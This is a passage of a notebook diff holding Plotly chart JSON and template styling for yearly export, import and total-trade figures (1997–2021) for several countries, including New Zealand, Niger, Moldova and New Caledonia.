"#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Export" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Import=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.16, - 0.04, - 0.19, - 0.4, - 1.74, - 1.02, - 11.26, - 9.18, - 3.11, - 21.21, - 10.08, - 10.74, - 3.07, - 6.78, - 11.26, - 27.07, - 27.79, - 21.38, - 50.35, - 23.98, - 9.65, - 0.21, - 0.23, - 1.81, - 5.38 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0.03, - 0, - 0.14, - 0, - 0, - 0.2, - 0, - 0.06, - 1.08, - 1.25, - 1.43, - 0.98, - 3.47, - 27.4, - 15.73, - 4.33, - 11.26, - 59.24, - 66.7, - 8.19, - 9.64, - 22.76, - 4.07, - 8.46 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.16, - 0.04, - 0.19, - 0.4, - 1.74, - 1.02, - 11.26, - 9.18, - 3.11, - 21.21, - 10.08, - 10.74, - 3.07, - 6.78, - 11.26, - 27.07, - 27.79, - 21.38, - 50.35, - 23.98, - 9.65, - 0.21, - 0.23, - 1.81, - 5.38 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 83.76, - 88.33, - 96.5, - 79.34, - 82.17, - 76.4, - 78.89, - 127.96, - 216.63, - 265.5, - 335.94, - 423.74, - 499.21, - 625.21, - 822.72, - 696.62, - 614.52, - 591.4, - 547.61, - 504.44, - 643.71, - 630.78, - 521.83, - 381.53, - 297.73 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0.08, - 1.64, - 0.6, - 0.06, - 2.21, - 0.72, - 0.76, - 5.31, - 0.67, - 0.17, - 0.25, - 10.47, - 73.68, - 69.05, - 0.54, - 0.55, - 0.32, - 0.03, - 20.24, - 0.65, - 0.9, - 4.12, - 4.53 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.08, - 0, - 0, - 0, - 0.1, - 1.77, - 0.04, - 0.15, - 0.21, - 0.46, - 0.39, - 7.15, - 1.09, - 0.12, - 0.45, - 0.69, - 0.52, - 1.43, - 4.89, - 11.73, - 1.57, - 0.39, - 0.25, - 1, - 0.06 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 0.82, - 0.26, - 0.49, - 1.14, - 2.41, - 1.83, - 13.16, - 10.02, - 4.3, - 24.44, - 12.31, - 15.21, - 6.62, - 23.54, - 70.77, - 39.6, - 36.6, - 32.15, - 55.04, - 32.08, - 19.9, - 9.04, - 15.43, - 13.31, - 21.44 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "NETHERLANDANTIL", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 6.27, - 0, - 22.8, - 0, - 0, - 11.58, - 0, - 10.99, - 13.95, - 11.37, - 20.13, - 30.66, - 55.79, - 66.7, - 75.6, - 72.84, - 52.2, - 96.46, - 104.82, - 46.77, - 40.22, - 52.76, - 23.3, - 30.3 - ] - }, - { - "mode": "lines", - "name": "NEW CALEDONIA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.82, - 0.26, - 0.49, - 1.14, - 2.41, - 1.83, - 13.16, - 10.02, - 4.3, - 24.44, - 12.31, - 15.21, - 6.62, - 23.54, - 70.77, - 39.6, - 36.6, - 32.15, - 55.04, - 32.08, - 19.9, - 9.04, - 15.43, - 13.31, - 21.44 - ] - }, - { - "mode": "lines", - "name": "NEW ZEALAND", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 155.68, - 145.15, - 160.85, - 142.61, - 144.38, - 144.1, - 164.86, - 221.18, - 358.53, - 761.03, - 494.76, - 612.36, - 754.38, - 815.8, - 1074.37, - 998.68, - 891.2, - 913.49, - 855.64, - 814.1, - 996.56, - 1010.65, - 900.38, - 867.78, - 667.27 - ] - }, - { - "mode": "lines", - "name": "NIGER", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 5.55, - 0, - 12.97, - 27.81, - 36.04, - 53.05, - 38.87, - 41.01, - 23.01, - 19.63, - 48.06, - 26.15, - 38.15, - 57.55, - 161.75, - 125.23, - 86.85, - 78.78, - 80.48, - 81.27, - 140.46, - 95.48, - 74.5, - 91.15, - 71.59 - ] - }, - { - "mode": "lines", - "name": "MOLDOVA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0.75, - 0, - 0, - 0.88, - 1.98, - 4.31, - 4.41, - 5.75, - 5.64, - 5.99, - 7.83, - 13.93, - 7.66, - 7.66, - 7.95, - 9.63, - 10.99, - 10.22, - 12.7, - 18.45, - 8.71, - 9.02, - 8.96, - 12.58, - 6.76 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], 